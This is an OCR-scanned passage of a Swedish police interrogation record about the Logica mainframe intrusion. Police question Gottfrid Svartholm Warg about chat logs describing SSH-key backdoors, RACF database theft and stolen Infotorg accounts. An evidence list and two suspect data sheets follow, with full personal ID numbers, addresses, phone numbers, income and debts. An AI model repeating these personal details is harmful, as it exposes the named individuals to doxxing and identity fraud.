misstanke utav dataintrånget mot Logica. Och i hans material så har vi hittat stora mängder 
c hat . . .  och då är ju lite grann frågan så här. Vilka an vändarnamn brukar du använda på . . . . .  ? 

GS:  Ja, mitt är ganska välkänt, anakata 

JP : Mm, brukar du använda andra nie? 

GS:  Svar nej . 

JP : Inte? 

GS : Inte normalt. 

JP :  Inte normalt, ok. Vi har här chat med Mattias Gustafsson där han kommunicerar med en 
person som heter tLt. Är det du? 

GS : Det kan jag inte svara på. 

JP: Du kan inte svara på det. I den här chatten så är det rätt mycket indikationer på att en 
person som då heter tLt skulle vara inblandad i det här intrånget mot Logica. Det finns också 
indikationer på att den här personen i så fall skulle vara Gottfrid Svartholm W arg. 

GS : Alltså, j ag vill ju bara komment . . .  poängtera att IRC inte har någon form av registrering 
av nicnames eller något sådant. Det krävs inga lösenord eller dylikt för att . . .  

JP : Nä, 

GS : . . .  

JP : Men nicet, anakata är ju rätt känt. 

GS :  Ja 

JP :  Mm, diROX frågar t .ex. till TiAMO var anakata håller hus någonstans? Då svarar han, 
Kambodja  det stämmer väl eller hur? 

GS :  Det låter rimligt. 

JP :  Sen svarar, diROX pratar med tLt. Där tLt svarar att han har snöat in sig ordentligt på 
z/OS .  Du vet vad det är för någonting? 

GS : Nej det vet jag inte 
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JP: diROX säger sen att, ja, frågar lite och tLt frågar att man kanske ska snacka krypterat och 
tLt bjuder då in till SSL-miRC på planet.wideopenbsd.org. Känner du till den servem? 

GS:  Inga kommentarer 

JP :  Det är mycket material. tLt skriver bl.a. så här också, Hej igen, vad gör du? Just nu 
snortar jag tjack samt svär lite över strömmen, hoppas den inte försvinner igen i 1 8  timmar. 
Skulle det kunna vara, kanske att strömmen försvann i Phnom Phen? 

GS : Jag har varit med om långa strömavbrott i Sverige också, så det 

JP : 1 8  timmar är kanske lite . . .  

GS:  Lokalt i mindre områden har jag varit med om 36 timmar. 

JP: Han säger också bl.a . . . .  tLt, att han har en ssh nyckel som han bakdörrar ett adminkonto 
med. 

GS:  Jaha 

JP :  tLt skriver också bl.a. så här att, sådärja, tanka och så skriver han sen att, hoho de är så 
jävla ägda, deras RACF databas tank/etc/passwd. Inget du känner igen? 

GS : Nej 

JP : Vet du vad en RACF är? 

GS:  Inga kommentarer 

JP : Och du kände inte Mattias Gustafsson? 

GS:  Jag sa att jag inte kommentera det. 

JP: Om så här då, i din dator, så har vi hittat verktyg som heter HexMvsdump. Är det 
någonting du känner till? 

GS:  Inga kommentarer 

JP :  Här skriver i alla fall diROX frågar då, jag måste komma åt polisens multifråga och att tLt 
svarar att, måste kracka RACF databasen och den är krypterad med DES usemamnet 
krypterat med passwords nyckel och sen ja, skriver tLt, jag byter password på en snut. Längre 
ner skriver han sen, fick du db :n, måste databasen, frågar tLt. Japp, säger diROX. Spanat 
igenom den lite bara. tLt frågar sen, har du dessutom fått mitt HexMvsDump verktyg? Nää 
det tror jag inte. tLt lägger upp en länk på Pastebin där den här finns, diROX svarar, Nuså, 
dock är jag inte den smartaste idag. tLt visar då att han ska skriva, hexmvdump filens namn, 
längd på rader. Det här verktyget har ju hittats i din dator. Är det du som har skrivit det? 

GS : Inga kommentarer. 

JP :  Ett annat utdrag här. tLt frågar om diROX vill ha ett par infotorg konton. Sisådär 70 000 
stycken och diROX frågar om han har några poliskonton. Det är ingenting du känner till 
heller? 
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JP: tLt skriver också, sen har jag kompletta dumpar av bl.a. fogdens register, bara fogden är 
1 2  gig, haha, fick tag på innehållsförteckningen, lite enklare att hitta kul saker då. Det är inget 
du känner till? 

GS:  Jag . . .  vill bara kommentera att kronofogdens register är offentliga handlingar. 

JP: I din dator så har det ju hittats kronofogdens register, som är då på 1 0,6 gig. Det stämmer 
rätt bra överens med den här siffran. Har du några kommentarer om det? 

GS:  Nää. Kan man få se det där beryktade kronofogderegistret, vad det innehåller för nåt? 

JP: Ja, jag har inte 1 2Gb med mig utskrivet och så där men 

GS : det hade ni i Piratebay-rättegången. 

JP: Ja, men tiderna förändras, vet du, tyvärr 

OW: Innan rättegång kommer du få se det material som vi presenterar, så klart. 

JP : diROX säger också att han vill ha deras register av skatteverket då, tLt frågar, ska du inte 
ha lite pengar från fogden också. Ja jo  säger diR O X, har ju 1 70 000 i skuld, tLt svarar, ja  om 
du har någon att dra det ifrån så kanske vi kan . . .  

JP :  Känner du till andra som brukar hänga på hack.se 

GS : Inga kommentarer. 

JP :  I samband med att den här listan med skyddade personnummer kom upp på Pastebin så 
skriver då att, diR OX skriver, att den där dumpen tog man ju för över ett år sedan, den med 
skyddade. tLt svarar, Jo . diROX svarar, var ju inte ens namn kopplade. tLt skriver, Helvete 
vad mycket grejer, och så länkar den till lite filer. tLt skriver vidare att, Spar ligger ju inte hos 
infotorg/sema/logica längre, däremot gör KFMs register REX, du såg att jag snott hela. 

OW: Just den här dumpen, som låg på Pastebin, som vi pratade om, med skyddade 
personnummer. Är det någonting du känner igen? 

GS :  Jag har sett den på Pastebin, ja. 

OW: Har du haft del av den själv? 

GS :  Som sagt jag har sett den på . . .  och det var ju som sades bara en lista med personnummer, 
inga hemliga uppgifter i sig . . .  , mer korrekt sätt att formulera är väl att det är personnummer 
till personer som har skyddade personuppgifter, inte personnumret i sig som är skyddat. 

OW: Nej , det är rätt. 

GS :  Jag skulle personligen bli mycket förvånad om det fanns på internet anslutna system över 
huvud taget. J ag utgår från att det inte är . . .  intrång har skett . . .  

JP :  diROX skriver också att, Trivs du i Kambodja, by the way ? Mm , säger tLt. diROX , 
tyckte gränsen mellan Kambodja och Thailand var rätt sunkig alltså. tLt, Ja. 

GS :  Och där vill jag i allmänna ordalag kommentera att det finns mer än en svensk i 
Kambodja. 
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JP : Mm 

GS:  Ä ven i skrivande stund, talande stund 

JP: tLt klistrade också in ett inlägg, bl.a. där det står, port 443 listening waiting for the APT 
callback, alert advancing port 443 threat accepted presistent TCP connection from 93 1 86 
1 70.  54, portnummer då, entering advanced printer typewriter mode. Känner du igen det här 
utdraget? 

GS: Inga kommentarer 

JP : I din dator så finns en skri p t fil som . . .  exakt samma utdrag i åtminstone tre . . .  Och sen 
skriver då tLt , men se på fan. diROX frågar, vad innebär det här nu då? tLt svarar, ja, let get 
up some of that root. tLt, diR OX skriver sendå, Kommer du åt allting nu? Det finns ju mer, 
det här är bara några utdrag som finns i det här materialet. Ska vi nöja oss så? 

OW: Ja, det sista här bl.a . . . .  skriptet vi pratade om, det finns ju en hel del loggfiler i din 
krypterade container, där det här skriptet används. Känner du till det? 

GS:  Svar nej .  

OW: I din dator, i den här krypterade containern s å  finns det en fil som heter prim.gz 
innehållande Logicas RACF databas som vi pratade om i chatten. 

GS:  Jag hänvisar till tidigare svar. 

JP : Ska vi förklara för advokaten vad RACF är för någonting 

ML: Ja, gärna 

JP : RACF databasen är då en behörighetsdatabas som Logica har i sina stordata-system, med 
användarnarnn, uppgifter om lösenord, samt i de fall de har konton på infotorg, även 
tillhörighet, organisatorisk tillhörighet och tjänste- eller ja, företagsnamn och sådana saker. 

ML: Okej , tack. 

OW: När Logica själva gick igenom det här intrånget, gick igenom sina system, hittade de ett 
antal filer som var uppladdade på deras system. Bakdörrar, olika programfiler. De kommer 
från flera olika lP-adresser. Gemensamt för de här, många av dem, det är att de finns i din 
dator, i din krypterade container. 

GS:  Ja, jag hänvisar till tidigare svar 

OW: T.ex.  ett program som heter kuku, känner du till det? 

GS:  Jag hänvisar till tidigare svar. 

OW: Under det här angreppet så, den eller dom som gjorde det. De gjorde så att de packade 
en hel del av Logicas material i tgz-filer och sen laddade de ner dem med FTP. Även en del 
av de här packade filerna finns i din dator i . . .  

GS . . .  hänvisar till tidigare svar . . .  
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OW: Vi pratade om en SSH nyckel . . .  i chatten, även de finns i den krypterade containern. 

GS : Hänvisar till mitt tidigare svar. 

OW: I datorn finns också fyra stycken filer med användarkontarr och lösenord, det är över 
1 00 000. Något du känner igen? 

GS:  Hänvisar till tidigare svar. 

ML: Vilken dator? 

OW: MacBooken. I din dator finns det en fil som heter "out" bara, den innehåller en 
sammanställning av data, alltså rådata från skatteverket. 

JP : Jag har den med mig om du vill visa den. 

OW: Ja, Nej . Den här sammanställningen berör ju alltså ditt personnummer, dig. 

GS : Dels hänvisar jag till tidigare svar och dels så vill jag faktiskt kommentera att jag är 
något av en kändis .  Så det finns en del skäl till att man skulle slå upp mina uppgifter . . .  mig. 

OW: Det är inga slagningar. Man har plockat ut . . .  

GS : Ja men slagn . . .  (pratar i munnen på varandra) 

GS : Du förstår vad jag menar . . .  

OW: Det är inte du som har gjort det här alltså? 

GS : Nej 

OW: Det finns en som gäller Fredrik Neij också, en likadan. 

GS :  Hänvisar till samma sak, han är också kändis .  Känd för att ha stora skulder, om det är 
kronofogden det gäller så vill jag tillägga att det verkar rimligt. 

JP : Det här är ju alltså dataset . . .  som är lite, inte bara hos skatteverket, alltså flera olika 
dataset som datarr är hämtad från, det är inte bara skatteverket eller kronofogdens data. 

GS :  Vad är det för data då? 

JP : Alltså dataset som du har . . .  som finns i din dator. 

GS :  Ja det är ju bra att folk har bestämt sig för att man är skyldig redan från början. Tack för 
den. 

JP :  Förlåt, det var inte så jag menade. Jag menade . . .  

GS :  . . .  det var visst så du menade 

JP :  Jag menade bara i din dator finns ju de här dataseten som sammanställningen har gjorts 
med, utifrån. 

GS :  Ja slagning, sammanställning what ever . . .  men jag undrar fortfarande vad det är för 
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uppgifter. 

JP :  Ska vi visa den sidan i alla fall? 

OW: Ja, det kan du göra. 

JP: Så kan du se själv då. 

JP : Filen . . .  heter out.txt 

GS : Jaha, det här var ju lättbegripligt . . .  ? 

OW: Det är olika uppgifter om dig. 

GS :  Men var kommer de ifrån? Hälften är totalt obegripliga. Sen finns det ju lite tips man kan 
gissa på är belopp och så . . .  några som är uppenbara datum . . .  så grattis, någon har gjort en 
kreditupplysning på mig. 

JP : Om det nu är en kreditupplysning . . .  

GS :  Jag gissar på att det är det. 

JP: Med tanke på att datasetsnamnen även finns med här, D044, och prefixet D044 . . .  så är ju 
högst otroligt att det skulle vara en kreditupplysning. 

GS :  Motsvarande Information i varje  fall. 

OW: En sista fråga angående Logica här. Vi pratade om de här personnumren, listan med 
personnummer som fann på Pastebin. I din dator så har du, på två ställen, den listan. 

GS : Jag hänvisar till tidigare svar. 

OW: Det finns ett Excel dokument som heter, infotorgusers . Det innehåller drygt 3 000 namn, 
personer och deras behörighet på infotorg. Huvudelen av de här personerna är polisanställda. 
Känner du till den här listan? 

GS : Svar Nej 

OW: Har advokaten någon fråga på det vi har pratat om nu? 

ML: Jag har ingen fråga på det vi pratat om nu. 

OW: Då är klockan 1 0 .40 och vi avslutar förhöret angående Logica. 
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Bi laga ns namn 

Bi l aga 2012-0201-BG 1022 1-13 . 1  F i l l i sta för kata logen infotorg 

B i l aga 2012-0201-BG 1022 1-13 .2  databaser 

B i l aga 2012-0201-BG 1022 1-13 . 3  l udvigra nmo 

B i l aga 2012-0201-BG 1022 1-13 .4  mora 

B i l aga 2012-0201-BG 1022 1-13 .5  pappaspa r 

B i l aga 2012-0201-BG 10221-14 . 1  54-E6-FC-BE-80-9A_Backe 

B i l aga 2012-0201-BG 10221-14.2 A0-2 1-B7-7A-3 E-7E_LI N N EA_Netwo rk 

B i l aga 2012-0201-BG 1022 1-14 .3  F i l l ista för kata logen wpa-knackt 

B i l aga 2012-0201-BG 10221-14.4 F i l l ista fö r kata loge n wep 

B i l aga 2012-0201-BG 10221-19 . 1  . bash_history 

B i l aga 2012-0201-BG 1022 1-19 . 2  Raderade ma i l  

B i laga 2012-0201-BG 1022 1-19 . 3  Rhythm box 

B i l aga 2012-0201-BG 1022 1-29 . 1  F i l l ista fö r partia l . i nfotorg.ta r.gz 

B i laga 2012-0201-BG 10221-29 .2  F i l l ista för kata logen infotorg 

B i l aga 2012-0201-BG 1022 1-29 . 3  E-post 

B i l aga Passagen . l - Med lemsi nfo_d i rox 

B i laga Passagen . 2 - Samma nstä l l n i ng av xchat2 

B i l aga U bu ntu One . l . Dataset 

B i laga U bu ntu O ne.4 ftpOiog 

B i l aga U bu ntu One .S  F i l l ista infotorg 

B i l aga U bu ntu One .6  logpwl 

B i laga U bu ntu One .9  Jä mföre lse med fi ler  som laddats ner frå n Logica 

B i l aga 2012-0201-BG25023-l . l  Datasett frå n Logica 

B i l aga 2012-0201-BG25023-1 .2  Jä mföre lse datasett med prefix 0044 

B i l aga 2012-0201-BG25023-26 . 1 4616 Secu rity 

B i l aga 2012-0201-BG25023-26 .2  4624 Secu rity 

B i l aga 2012-0201-BG25023-26 .3  Tea mViewer7 _Logfi le . log 

B i l aga 2012-0201-BG25023-26.4 dafasa pt. log 

B i l aga 2012-0201-BG 25023-26 .5  semaapt. log 

B i l aga 2012-0201-BG25023-26 .6  semaapt2. 1og 

B i l aga 2012-0201-BG25023-26 .7  sem bsn . log 

B i l aga 2012-0201-BG25023-26 .8  i nfor i ks . l og 

B i l aga 2012-0201-BG 25023-26 .9  e 

B i l aga 2012-0201-BG25023-26 . 10 D384 asc i i  

B i l aga 2012-0201-BG25023-26 . 11  a ptftp . log 

B i l aga 2012-0201-BG25023-26 .12  a b . c  

B i l aga 2012-0201-BG25023-26 .13  kuku .txt 

B i laga 2012-0201-BG25023-26. 14 I n ne h å l l  i a pt .tgz 

Anta l sidor 

17 

7943 

2 

l 

2 

l 

l 

l 

l 

11  

47 

5 15 

20 

16 

54 

l 

46 

27 

6227 

1690 

12 

14 

7 

3 

59 

19 

1357 

3036 

7242 

76 

6 

2 

36  

252 

11  

l 

6 
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B i l aga 2012-0201-BG25023-26 . 15 out 

B i laga 2012-0201-BG25023-26 . 16 out2 .txt 

B i l aga 2012-0201-BG25023-26 . 17 SSH-nyckl a r  

B i laga 2012-0201-BG25023-26 . 18 po l is . log 

B i l aga 2012-0201-BG25023-26 . 19 u3 .txt 

B i l aga 2012-0201-BG25023-26 .20 mysec 

B i l aga 2012-0201-BG25023-26 .21  flat l i ne . i n . conf och flat l i ne . key 

B i laga 2012-0201-BG25023-26 .22 flatl i ne . log 

B i l aga 2012-0201-BG25023-26 .23  Samm a nstä l l n i ng u r  flat l i ne . log 

B i l aga 2012-0201-BG25023-26 .24 scree n log 

B i l aga 2012-0201-BG25708- l . l  READM E 

B i laga 2012-0201-BG 25708-1 .2  E-post 

15 

27 

2 

607 

l 

l 

l 

4787 

4 

4636 

4 

15 
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Polismyndighet 

Stockholms län 
Enhet 

LU/IT !T-forensisk sektion 
Skäligen misstänkt person 

B i laga - Skä l igen m isstän kt 

Gustafsson, Bror Olof Mathias 

M isstankeuppgift 

Diarienr 

020 1 -K8 1 864- 1 2  
Personnr 

1 976 1 1 1 7-7234 

Brottsmisstankenr Diarienr 

020 1 12508539 020 1 -K8 1 864- 1 2  

Brottskod Brottsbeskrivn ing 

04 1 5  Dataintrång 
Beslutsdatum misstankebeslut 

20 1 2-04- 1 3  
Beslutsfattare misstankebeslut 

Rasmusson, Henrik 

720 



72 1 

Persona l ia  och dagsbotsuppg ift 

Namn 

Gustafsson, Bror Olof Mathias 
Ti l ltalsnamn Kal las för 

Mathias 
Födelseförsaml ing Födelselän 

Medborgarskap Hemvistland 

Sverige 
Adress 

Timmermansvägen 1 4  I 

77 1 5 1  Ludvika 

Folkbokföringsort 

Ludvika 

FöräldrarsNårdnadshavares namn och adress (beträffande den som inte fyllt 20 år) 

Utbildning 

Yrke / Titel 

Arbetsgivare 

Anstäl ln ing (nuvarande och tidigare) 

Arbetsförhet och hälsoti l lstånd 

S jukpensionär 
Kompletterande uppgifter 

U ppgiven inkomst Bidrag 

o 8 000 kr/mån i sjukpension 
Maka/make/sambos inkomst 

Försörjn ingspl ikt 

Ingen 
Förmögenhet 

o 
Kontrol l utförd 

Taxerad inkomst 

1 3 8000 
Maka/make/sambos taxerade inkomst 

Taxeringskontrol l  utförd av 

Civilutredare Elin Tidström 

Taxeringsår 

2007 

Datum 

2008- 1 2- 1 2  

Utskriftsdatum 

20 1 3 -03-28 
Personnummer 

1 976 1 1 1 7-7234 

Öknamn 

Födelseort ulland 

Telefonnr 

08559 1 5430 :  Hemtelefon 

Kön 

Man 

0708875723 : Mobiltelefon används tills vidar 

Senast kontrol lerad mot folkbokföring 

Telefonnr 

Civi lstånd 

Ogift 
Hemmavarande barn under 18 år 

o 
Skulder 

250000 



Polismyndighet 

Stockholms län 
Enhet 

LU/IT !T-forensisk sektion 
Skäligen misstänkt person 

B i laga - Skä l igen misstä n kt 

Svartholm W arg, Per Gottfrid 

Misstankeuppgift 

Brottsmisstanken r 

1 09A1 2000099 
Brottskod Brottsbeskrivning 

04 1 5  Dataintrång 
Beslutsdatum misstankebeslut Beslutsfattare misstankebeslut 

20 1 2-05-30 Olin, Henrik 

722 

Diarienr 

020 1 -K8 1 864- 1 2  
Personnr 

1 984 1 0 1 7-053 7  

Diarienr 

020 1 -K8 1 864- 1 2  



Persona l ia och dagsbotsuppg ift 

Namn 

Svartholm W arg, Per Gottfrid 
Til ltalsnamn 

Gottfrid 
Födelseförsamling 

Matteus 
Medborgarskap 

Sverige 
Adress 

Box 1 206 

1 14 79 Stockholm 

Folkbokföringsort 

Kallas för 

Födelselän 

Stockholms län 
Hemvistland 

FöräldrarsNårdnadshavares namn och adress (beträffande den som inte fyllt 20 år) 

Utbi ldning 

Yrke l Titel 

Egen företag, konsult IT 
Arbetsgivare 

PRQ 

Anstäl ln ing (nuvarande och t idigare) 

Arbetsförhet och hälsotil lstånd 

Kompletterande uppgifter 

Uppger sig sakna bostad 2007-06-23 . 
Uppgiven inkomst 

80000 
Maka/make/sambos inkomst 

Försörjn ingspl ikt 

Förmögenhet 

Kontrol l  utförd 

Taxerad inkomst 

6000 

Bidrag 

Maka/make/sambos taxerade inkomst 

Taxeringskontrol l utförd av 

insp Anmari Sundebom 

Taxeringsår 

2006 

Datum 

2007-06-23 

Utskriftsdatum 

20 1 3 -03-28 
Personnummer 

1 984 1 0 1 7-0537  

Öknamn 

Födelseort utiand 

Telefonn r 

0739-69 1 O I l : Mobiltelefon 

Senast kontrol lerad mot folkbokföring 

20 1 3 -02-20 

Telefonnr 

073-969 1 0 1 1 

Civilstånd 

Ogift 
Hemmavarande barn u nder 18 år 

o 
Skulder 

500000 

Kön 

Man 

723 




